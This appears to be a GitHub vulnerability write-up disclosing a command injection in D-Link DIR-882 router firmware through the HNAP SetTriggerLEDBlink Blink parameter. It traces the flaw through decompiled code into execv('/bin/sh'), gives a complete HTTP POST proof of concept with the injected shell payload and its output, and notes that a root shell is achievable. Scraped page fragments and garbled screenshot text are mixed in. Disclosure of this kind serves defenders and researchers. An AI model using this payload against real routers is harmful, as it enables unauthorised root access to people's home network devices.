

main IOT\_vuln / d-link / dir-882 / 3 /

ZoEplA update some ...

on Jul 22 History

..

img	8 months ago
.DS_Store	8 months ago
readme.md	4 months ago


readme.md

# D-link DIR882A1\_FW130B06.bin Command injection vulnerability

## Overview

- Manufacturer's website information: <https://www.dlink.com/>
- Firmware download address : <http://tsd.dlink.com.tw/GPL.asp>

## 1. Affected version



Quick Find

Select..

Select..

GO


Downloads

GPL Source Code Support


Contact Us

Technical Support

Downloads



DIR-882

Type	Firmware
Description	Firmware:DIR-882_A1_F/W:v1.30
Download	 <a href="#">DIR882A1_FW130B06.bin</a>
Last modified	2020/06/08

> Audio/Video>Accessories

> Audio/Video>D-Life

> Audio/Video>KVM

> Audio/Video>Media bridge

> Audio/Video>Media player

Connected Home>Bundle

Figure 1 shows the latest firmware Ba of the router

## Vulnerability details

```

1 int __fastcall sub_438C5C(int a1)
2 {
3     int v2; // [sp+1Ch] [-110h]
4     int v3; // [sp+1Ch] [-110h]
5     int v4; // [sp+20h] [-10Ch]
6     int v5; // [sp+24h] [-108h]
7     char v6[128]; // [sp+28h] [-104h] BYREF
8     char v7[132]; // [sp+A8h] [-84h] BYREF
9
10    memset(v6, 0, sizeof(v6));
11    memset(v7, 0, 128);
12    v5 = webGetVarString(a1, "/SetLEDStatus/Enabled");
13    if ( !v5 )
14        return WebsSetResponseResult(a1, 0);
15    if ( !strcmp(v5, "true") )
16        strcpy(v7, "led power on");
17    else
18        strcpy(v7, "led power off");
19    v4 = webGetVarString(a1, "/SetTriggerLEDBlink/Blink");
20    if ( v4 )
21    {
22        v3 = atoi(v4);
23        if ( v3 <= 0 || v3 >= 11 )
24            return WebsSetResponseResult(a1, 0);
25        v2 = 2 * v3;
26        *(_BYTE *)v4 = 0;
27        *(_BYTE *)(v4 + 1) = 0;
28        *(_BYTE *)(v4 + 2) = 0;
29        *(_BYTE *)(v4 + 3) = 0;
30        sprintf(v4, "%d", v2);
31        sprintf(v6, "gpio 1 16 10 10 %s 1 1", (const char *)v4);
32        twsystem(v6, 1);
33    }
34    else

```

The content obtained by the program through the / settriggerledblink / blink parameter is passed to V4, and then V4 passes the matched content to V6 through the sprintf function, and then V6 is brought into the twsystem function

```
1 int __fastcall twsystem(const char *a1, int a2)
2 {
3     int v4; // $s2
4     _DWORD *v5; // $s3
5     int v6; // $s0
6     int v8; // $v0
7     int v9; // $s1
8     const char *v10; // $v0
9     int v11; // $a1
10    int i; // $s2
11    int v13; // $a0
12    int v14; // $v0
13    int v15; // $s1
14    int v16; // [sp+18h] [-2Ch] BYREF
15    char v17[16]; // [sp+1Ch] [-28h] BYREF
16    int v18[6]; // [sp+2Ch] [-18h] BYREF
17
18    v16 = 0;
19    if ( !a1 )
20    {
```

At this time, the corresponding parameter is A1

```
42    }
43    v18[2] = (int)a1;
44    v18[3] = 0;
45    v18[0] = (int)"sh";
46    v18[1] = (int)&off_3D5E4;
47    if ( a2 )
48    {
49        v14 = fopen("/dev/console", "w");
50        v15 = v14;
51        if ( v14 )
52        {
53            fprintf(v14, "[system]: %s\r\n", a1);
54            fclose(v15);
55        }
56    }
57    execv("/bin/sh", v18);
58    exit(127);
59 }
```

The program passes A1 to v18 array, and finally executes the commands in v18 through `execv`. There is a command injection vulnerability.

## Recurring vulnerabilities and POC

---

In order to reproduce the vulnerability, the following steps can be followed:

1. Use the fat simulation firmware `DIR882A1_FW130B06.bin`
2. Attack with the following POC attacks

```
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1:7018
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101
Firefox/98.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://purenetworks.com/HNAP1/SetLEDStatus"
HNAP_AUTH: FBAFE6649BD7D7195037F941B5248F0F 1649150396101
X-Requested-With: XMLHttpRequest
Content-Length: 338
Origin: http://192.168.0.1:7018
Connection: close
Referer: http://192.168.0.1:7018/Admin.html
Cookie: SESSION_ID=2:1556825615:2; uid=UXOR3rQa
```

```
<?xml version="1.0" encoding="utf-8"?><soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetLEDStatus
xmlns="http://purenetworks.com/HNAP1/"><Enabled>false</Enabled></SetLEDStatus>
<SetTriggerLEDBlink><Blink>&& ls > /tmp/456 &&echo 1>
</Blink>
</SetTriggerLEDBlink>
</soap:Body></soap:Envelope>
```

The reproduction results are as follows:

```
> cat /tmp/456
123  Host      Method    URL
bin  0.52.167   GET       /index.html
dev  0.52.167:7018 GET       /
etc  0.52.167:7018 POST      /HNAP1/
etc_ro 0.52.167:7018 POST      /HNAP1/
home 0.52.167:7018 POST      /HNAP1/
init 0.52.167:7018 GET       /hnap/GetMultipleHNAPs
lib  0.52.167:7018 GET       /header.html
media 0.52.167:7018 GET       /js/SOAP/SOAPAction.js
mnt  0.52.167:7018 GET       /js/jquery.validate.js?v=
private 0.52.167:7018 GET       /js/localization/zh-cn.js?
proc 0.52.167:7018 GET       /js/checkTimeout.js?v=f
sbin 0.52.167:7018 GET       /js/includeLang.js?v=5cc
share 0.52.167:7018 GET       /js/AES.js?v=a03b43075
sys
tmp
usr
var
www
```

Host	Method	URL
0.52.167	GET	/index.html
0.52.167:7018	GET	/
0.52.167:7018	POST	/HNAP1/
0.52.167:7018	POST	/HNAP1/
0.52.167:7018	POST	/HNAP1/
0.52.167:7018	GET	/hnap/GetMultipleHNAPs
0.52.167:7018	GET	/header.html
0.52.167:7018	GET	/js/SOAP/SOAPAction.js
0.52.167:7018	GET	/js/jquery.validate.js?v=
0.52.167:7018	GET	/js/localization/zh-cn.js?
0.52.167:7018	GET	/js/checkTimeout.js?v=f
0.52.167:7018	GET	/js/includeLang.js?v=5cc
0.52.167:7018	GET	/js/AES.js?v=a03b43075

Open as page

Accept-Enc  
Content-Ty  
SOAPACTION  
HNAP\_AUTH:  
Content-Le  
Origin: ht  
Connection  
Referer: H  
Cookie: SE  
  
<?xml vers  
<soap:Enve  
http://ww  
velope/">  
<soap:Body  
<SetNetwo

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell